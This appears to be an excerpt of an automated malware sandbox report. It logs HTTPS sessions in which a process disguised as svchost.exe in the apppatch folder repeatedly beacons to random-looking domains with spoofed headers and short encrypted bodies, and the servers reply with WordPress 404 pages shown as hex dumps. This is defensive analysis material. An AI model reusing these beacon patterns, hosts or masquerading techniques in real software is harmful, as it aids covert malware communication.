                                                                                                                                                                                                          Data Ascii: ='https://qegyhig.com/wp-content/themes/astra/assets/css/minified/main.min.css?ver=4.3.1' media='all' /><style id='astra-theme-css-inline-css'>:root{--ast-container-default-xlg-padding:3em;--ast-container-default-lg-padding:3em;--ast-container-default-s
                                                                                                                                                                                                          2024-08-23 16:42:20 UTC1369INData Raw: 68 74 3a 31 2e 34 65 6d 3b 7d 68 32 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 35 65 6d 3b 7d 68 33 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 36 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 36 32 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 65 6d 3b 7d 68 34 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32
                                                                                                                                                                                                          Data Ascii: ht:1.4em;}h2,.entry-content h2{font-size:32px;font-size:2rem;font-weight:600;line-height:1.25em;}h3,.entry-content h3{font-size:26px;font-size:1.625rem;font-weight:600;line-height:1.2em;}h4,.entry-content h4{font-size:24px;font-size:1.5rem;line-height:1.2
                                                                                                                                                                                                          2024-08-23 16:42:20 UTC1369INData Raw: 30 34 30 34 3b 7d 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76 2d 70 72 65 76 69 6f 75 73 2c 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76 2d 6e 65 78 74 7b 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 7d 2e 65 6e 74 72 79 2d 6d 65 74 61 2c 2e 65 6e 74 72 79 2d 6d 65 74 61 20 2a 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 35 3b 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 7d 2e 65 6e 74 72 79 2d 6d 65 74 61 20 61 3a 68 6f 76 65 72 2c 2e 65 6e 74 72 79 2d 6d 65 74 61 20 61 3a 68 6f 76 65 72 20 2a 2c 2e 65 6e 74 72 79 2d 6d 65 74 61 20 61 3a 66 6f 63 75 73 2c 2e 65 6e 74 72 79 2d 6d 65 74 61 20 61 3a 66 6f 63 75 73 20 2a 2c 2e 70 61 67 65 2d 6c 69 6e 6b 73 20 3e 20 2e 70 61 67 65 2d 6c 69 6e 6b 2c 2e 70 61 67 65
                                                                                                                                                                                                          Data Ascii: 0404;}.single .nav-links .nav-previous,.single .nav-links .nav-next{color:#d10404;}.entry-meta,.entry-meta *{line-height:1.45;color:#d10404;}.entry-meta a:hover,.entry-meta a:hover *,.entry-meta a:focus,.entry-meta a:focus *,.page-links > .page-link,.page
                                                                                                                                                                                                          2024-08-23 16:42:20 UTC1369INData Raw: 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 74 69 6d 65 6c 69 6e 65 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 74 6f 63 5f 5f 77 72 61 70 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 74 61 78 6f 6d 6f 6e 79 2d 62 6f 78 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 61 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 77 70 2d 62 6c 6f 63 6b 2d 6c 61 74 65 73 74 2d 70 6f 73 74 73 20 3e 20 6c 69 20 3e 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74
                                                                                                                                                                                                          Data Ascii: ngle-post .entry-content .uagb-timeline a,.ast-single-post .entry-content .uagb-toc__wrap a,.ast-single-post .entry-content .uagb-taxomony-box a,.ast-single-post .entry-content .woocommerce a,.entry-content .wp-block-latest-posts > li > a,.ast-single-post
                                                                                                                                                                                                          2024-08-23 16:42:20 UTC1369INData Raw: 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 65 6d 61 69 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 75 72 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 70 61 73 73 77 6f 72 64 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 65 73 65 74 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 65 61 72 63 68 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 6e 75 6d 62 65 72 22 5d 3a 66 6f 63 75 73 2c 74 65 78 74 61 72 65 61 3a 66 6f 63 75 73 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 73 65 61 72 63 68 5f 5f 69 6e 70 75 74 3a 66 6f 63 75 73 2c 5b 64 61 74 61 2d 73 65 63 74 69 6f 6e 3d 22 73 65 63 74 69 6f 6e 2d 68 65 61 64 65 72 2d 6d 6f 62 69 6c 65 2d 74 72 69 67 67 65 72 22
                                                                                                                                                                                                          Data Ascii: focus,input[type="email"]:focus,input[type="url"]:focus,input[type="password"]:focus,input[type="reset"]:focus,input[type="search"]:focus,input[type="number"]:focus,textarea:focus,.wp-block-search__input:focus,[data-section="section-header-mobile-trigger"


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          2192.168.2.549737188.114.96.34435284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          2024-08-23 16:42:28 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lysyvan.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          2024-08-23 16:42:28 UTC6OUTData Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          3192.168.2.560696188.114.96.34435284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          2024-08-23 16:43:01 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lysyvan.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          2024-08-23 16:43:01 UTC6OUTData Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          2024-08-23 16:43:05 UTC903INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:43:05 GMT
                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                          expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                          Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                          link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                          server-timing: amp_sanitizer;dur="30.7",amp_style_sanitizer;dur="14.1",amp_tag_and_attribute_sanitizer;dur="11.3",amp_optimizer;dur="16.5"
                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Fs93R2NJP0o49EZuEgS3Ac38A9igF3GzJv%2B%2F7RfX%2Fn%2Bk4pnM7zYqlIdQvTinumMZRBXb2urxf93CHe84r9AwbiyUy4DFSHpRnV7eygSlbhmJP7D71DouRWzGQXezUQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8b7c8f288e754346-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          2024-08-23 16:43:05 UTC466INData Raw: 37 63 32 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 64 61 74 61 2d 61 6d 70 2d 62 69 6e 64 2d 63 6c 61 73 73 3d 22 69 73 44 61 72 6b 20 3f 20 27 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 27 20 3a 20 27 6e 65 76 65 2d 6c 69 67 68 74 2d 74 68 65 6d 65 27 22 20 63 6c 61 73 73 3d 22 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 22 20 61 6d 70 3d 22 22 20 64 61 74 61 2d 61 6d 70 2d 61 75 74 6f 2d 6c 69 67 68 74 62 6f 78 2d 64 69 73 61 62 6c 65 20 74 72 61 6e 73 66 6f 72 6d 65 64 3d 22 73 65 6c 66 3b 76 3d 31 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 2d 62 6f 69 6c 65 72 70 6c 61 74 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 62
                                                                                                                                                                                                          Data Ascii: 7c2a<!DOCTYPE html><html lang="en-US" data-amp-bind-class="isDark ? 'neve-dark-theme' : 'neve-light-theme'" class="neve-dark-theme" amp="" data-amp-auto-lightbox-disable transformed="self;v=1" i-amphtml-layout="" i-amphtml-no-boilerplate="" i-amphtml-b
                                                                                                                                                                                                          2024-08-23 16:43:05 UTC1369INData Raw: 34 31 35 30 30 30 22 3e 68 74 6d 6c 7b 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 65 7b 68 65 69 67 68 74 3a 31 30 30 25 21 69 6d 70 6f 72 74 61 6e 74 3b 77 69 64 74 68 3a 31 30 30 25 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 3a 6e 6f 74 28 5b 61 6d 70 34 61 64 73 5d 29 2c 68 74 6d 6c 3a 6e 6f 74 28 5b 61 6d 70 34 61 64 73 5d 29 20 62 6f 64 79 7b 68 65 69 67 68 74 3a 61 75 74 6f 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 3a 6e 6f 74 28 5b 61 6d 70 34 61 64 73 5d 29 20 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 21 69 6d 70 6f 72 74 61 6e 74 7d 62 6f 64 79 7b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 2d 6d 6f 7a 2d 74
                                                                                                                                                                                                          Data Ascii: 415000">html{overflow-x:hidden!important}html.i-amphtml-fie{height:100%!important;width:100%!important}html:not([amp4ads]),html:not([amp4ads]) body{height:auto!important}html:not([amp4ads]) body{margin:0!important}body{-webkit-text-size-adjust:100%;-moz-t
                                                                                                                                                                                                          2024-08-23 16:43:05 UTC1369INData Raw: 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 2d 65 6c 65 6d 65 6e 74 2c 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 5b 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 5d 7b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 5b 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 5d 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 2d 65 6c 65 6d 65 6e 74 7b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2e 69 2d 61 6d 70 68 74 6d 6c 2d 73 63 72 6f 6c 6c 2d 64 69 73 61 62 6c 65 64 2c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 73 63 72 6f 6c 6c 2d 64 69 73 61 62 6c 65 64 7b 6f 76 65 72 66 6c
                                                                                                                                                                                                          Data Ascii: mphtml-lightbox-element,#i-amphtml-wrapper+body[i-amphtml-lightbox]{visibility:hidden}#i-amphtml-wrapper+body[i-amphtml-lightbox] .i-amphtml-lightbox-element{visibility:visible}#i-amphtml-wrapper.i-amphtml-scroll-disabled,.i-amphtml-scroll-disabled{overfl
                                                                                                                                                                                                          2024-08-23 16:43:05 UTC1369INData Raw: 64 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 3a 6e 6f 74 28 3a 66 69 72 73 74 2d 6f 66 2d 74 79 70 65 29 3a 6e 6f 74 28 5b 64 69 73 74 61 6e 63 65 5d 29 3a 6e 6f 74 28 5b 61 63 74 69 76 65 5d 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 31 30 30 30 76 68 29 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3e 69 6e 70 75 74 2c 61 6d 70 2d 61 75 74 6f 63 6f 6d 70 6c 65
                                                                                                                                                                                                          Data Ascii: der-background{display:none!important}amp-story-page:not(:first-of-type):not([distance]):not([active]){transform:translateY(1000vh)!important}amp-autocomplete{position:relative!important;display:inline-block!important}amp-autocomplete>input,amp-autocomple
                                                                                                                                                                                                          2024-08-23 16:43:05 UTC1369INData Raw: 68 5d 5b 68 65 69 67 68 74 5d 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 29 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 73 69 7a 65 72 7b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 69 6e 74 72 69 6e 73 69 63 2d 73 69 7a 65 72 7b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 63 6f 6e 74 61 69 6e 65 72 2c 2e 69 2d
                                                                                                                                                                                                          Data Ascii: h][height]:not(.i-amphtml-layout-intrinsic){display:inline-block;position:relative;max-width:100%}.i-amphtml-layout-intrinsic .i-amphtml-sizer{max-width:100%}.i-amphtml-intrinsic-sizer{max-width:100%;display:block!important}.i-amphtml-layout-container,.i-
                                                                                                                                                                                                          2024-08-23 16:43:05 UTC1369INData Raw: 6c 2d 6c 61 79 6f 75 74 2d 73 69 7a 65 2d 64 65 66 69 6e 65 64 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 6c 65 66 74 3a 30 3b 62 6f 74 74 6f 6d 3a 30 3b 72 69 67 68 74 3a 30 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 72 65 70 6c 61 63 65 64 2d 63 6f 6e 74 65 6e 74 2c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 73 63 72 65 65 6e 2d 72 65 61 64 65 72 7b 70 61 64 64 69 6e 67 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 73 63 72 65 65 6e 2d 72 65 61 64 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 21 69 6d 70 6f 72 74 61 6e 74 3b 74 6f 70 3a 30 70 78 21 69 6d 70 6f 72 74 61 6e
                                                                                                                                                                                                          Data Ascii: l-layout-size-defined .i-amphtml-fill-content{position:absolute;top:0;left:0;bottom:0;right:0}.i-amphtml-replaced-content,.i-amphtml-screen-reader{padding:0!important;border:none!important}.i-amphtml-screen-reader{position:fixed!important;top:0px!importan
                                                                                                                                                                                                          2024-08-23 16:43:05 UTC1369INData Raw: 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 61 6d 70 2d 69 6d 67 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 5b 69 2d 61 6d 70 68 74 6d 6c 2d 73 73 72 5d 3e 69 6d 67 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 74 62 75 69 6c 74 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 63 6f 6e 74 61 69 6e 65 72 29 2c 5b 6c 61 79 6f 75 74 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 3d 63 6f 6e 74 61 69 6e 65 72 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 2c 5b 77 69 64 74 68 5d 5b
                                                                                                                                                                                                          Data Ascii: [layout]):not(.i-amphtml-element)>*{display:none}amp-img:not(.i-amphtml-element)[i-amphtml-ssr]>img.i-amphtml-fill-content{display:block}.i-amphtml-notbuilt:not(.i-amphtml-layout-container),[layout]:not([layout=container]):not(.i-amphtml-element),[width][
                                                                                                                                                                                                          2024-08-23 16:43:05 UTC1369INData Raw: 72 79 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 2d 65 72 72 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 65 64 21 69 6d 70 6f 72 74 61 6e 74 3b 63 6f 6c 6f 72 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 2d 65 72 72 6f 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 61 74 74 72 28 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 29 7d 69 2d 61 6d 70 2d 73 63 72 6f 6c 6c 2d 63 6f 6e 74 61 69 6e 65 72 2c 69 2d 61 6d 70 68 74 6d 6c 2d 73 63 72 6f 6c 6c 2d 63 6f 6e 74 61 69 6e 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f
                                                                                                                                                                                                          Data Ascii: ry{display:none!important}.i-amphtml-element-error{background:red!important;color:#fff!important;position:relative!important}.i-amphtml-element-error:before{content:attr(error-message)}i-amp-scroll-container,i-amphtml-scroll-container{position:absolute;to
                                                                                                                                                                                                          2024-08-23 16:43:05 UTC1369INData Raw: 72 5d 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 2d 73 75 63 63 65 73 73 5d 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 74 69 6e 67 5d 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 61 6d 70 2d 61 63 63 6f 72 64 69 6f 6e 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 21 69 6d 70 6f 72 74 61 6e 74 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 70 78 29 7b 3a 77 68 65 72 65 28 61 6d 70 2d 61 63 63 6f 72 64 69 6f 6e 3e 73 65 63 74 69 6f 6e 29 3e 3a 66 69 72 73 74 2d 63 68 69 6c 64 7b 6d 61 72 67 69 6e 3a 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 66 65 66 65 66 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 70 78 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 7d 3a 77 68 65 72 65 28 61 6d 70 2d 61 63 63 6f 72 64
                                                                                                                                                                                                          Data Ascii: r],form [submit-success],form [submitting]{display:none}amp-accordion{display:block!important}@media (min-width:1px){:where(amp-accordion>section)>:first-child{margin:0;background-color:#efefef;padding-right:20px;border:1px solid #dfdfdf}:where(amp-accord


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          4192.168.2.559539188.114.96.34435284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          2024-08-23 16:43:35 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyhig.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          2024-08-23 16:43:35 UTC6OUTData Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          2024-08-23 16:43:36 UTC761INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:43:36 GMT
                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                          expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                          Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                          link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W0K0qMHJ06ql1CRX%2BJoo6v9MRttnzEL9yWM39K4UkHuiknRYNMTfVRtUkWMpEQ8N3C%2FKteR%2FHUcU7cYPIyyWyn9%2Fjs98en5iznJTwOtUxNXUVjJN3mVrRejEVd5GDA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8b7c8ffbc816434a-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          2024-08-23 16:43:36 UTC608INData Raw: 37 63 62 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 20 0a 09 20 3c 73 74 79 6c 65 3e 0d 0a 23 77 70 61 64 6d 69 6e 62 61 72 20 23 77 70 2d 61 64 6d 69 6e 2d 62 61 72 2d 77 63 63 70 5f 66 72 65 65 5f 74 6f 70 5f 62 75 74 74 6f 6e 20 2e
                                                                                                                                                                                                          Data Ascii: 7cb8<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="https://gmpg.org/xfn/11"> <style>#wpadminbar #wp-admin-bar-wccp_free_top_button .
                                                                                                                                                                                                          2024-08-23 16:43:36 UTC1369INData Raw: 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 22 20 2f 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6c 64 2b 6a 73 6f 6e 22 20 63 6c 61 73 73 3d 22 79 6f 61 73 74 2d 73 63 68 65 6d 61 2d 67 72 61 70 68 22 3e 7b 22 40 63 6f 6e 74 65 78 74 22 3a 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 22 2c 22 40 67 72 61 70 68 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 57 65 62 53 69 74 65 22 2c 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 71 65
                                                                                                                                                                                                          Data Ascii: </title><meta property="og:locale" content="en_US" /><meta property="og:title" content="Page not found -" /><script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"WebSite","@id":"https://qe
